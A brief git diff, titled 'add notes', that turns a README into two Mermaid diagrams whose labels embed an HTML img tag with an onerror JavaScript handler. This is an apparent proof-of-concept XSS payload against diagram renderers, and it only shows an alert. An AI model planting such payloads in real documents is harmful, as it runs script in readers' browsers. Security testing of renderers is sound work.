add notes

README.md

@@ -1,3 +1,12 @@
-# docs-notes
+notes
 
-notes
+```mermaid
+erDiagram
+  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
+```
+
+```mermaid
+sequenceDiagram
+  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
+  A->>B: hi
+```